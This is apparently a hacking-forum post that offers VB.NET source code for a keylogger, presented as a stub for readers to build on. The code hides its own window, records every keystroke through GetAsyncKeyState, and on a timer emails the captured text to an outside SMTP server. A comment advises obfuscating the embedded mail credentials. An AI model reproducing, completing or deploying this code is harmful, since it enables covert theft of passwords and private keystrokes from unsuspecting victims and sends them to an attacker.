Hello,
Always wanted to create your own keylogger? This project might help you a bit. This is just a stub but you can easily transform this into a good fine working keylogger.
Regards,
🤝
Always wanted to create your own keylogger? This project might help you a bit. This is just a stub but you can easily transform this into a good fine working keylogger.
Code
Imports System.Net.Mail
Public Class Form1
Dim res As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
res = 0
res = GetAsyncKeyState(i)
If res = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.Hide()
Timer1.Start()
Timer2.Start()
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress("MAIL")
MyMailMessage.To.Add("MAIL")
MyMailMessage.Subject = ("Details Account Logged")
MyMailMessage.Body = TextBox1.Text
Dim SMTPServer As New SmtpClient("smtp.live.com") 'smpt adres
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential("MAIL", "PASS") 'Obfuscate, or make your own encryption key. This thread: https://hackforums.net/showthread.php?tid=2159860
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
End SubRegards,
🤝



